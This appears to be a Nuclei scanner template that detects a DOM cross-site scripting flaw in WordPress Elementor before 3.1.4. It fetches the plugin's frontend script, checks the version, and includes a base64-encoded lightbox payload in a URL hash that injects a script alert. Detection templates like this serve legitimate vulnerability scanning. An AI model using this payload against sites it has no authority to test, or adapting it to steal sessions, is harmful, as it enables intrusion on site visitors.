id: CVE-2021-24891 info: name: WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting author: dhiyaneshDk severity: medium description: | WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update WordPress Elementor Website Builder to version 3.1.4 or later to mitigate this vulnerability. reference: - https://www.jbelamor.com/xss-elementor-lightox.html - https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d - https://nvd.nist.gov/vuln/detail/CVE-2021-24891 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24891 cwe-id: CWE-79 epss-score: 0.00116 epss-percentile: 0.45185 cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: elementor product: website_builder framework: wordpress tags: cve2021,cve,wordpress,wp-plugin,elementor,wpscan,dom,xss http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js" - "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9" matchers-condition: and matchers: - type: dsl dsl: - compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200 - type: regex part: body_1 regex: - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" extractors: - type: regex name: version group: 1 regex: - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" internal: true - type: kval kval: - version # digest: 4a0a00473045022100b1b700b6532302e33f9c282b91d1b67cb96740315c551d6ebc680cc011903d7b02205591616553b2ecff73f2c1dda08659978ac1aef414e995efd1f285d6b02c293b:922c64590222798bb761d5b6d8e72950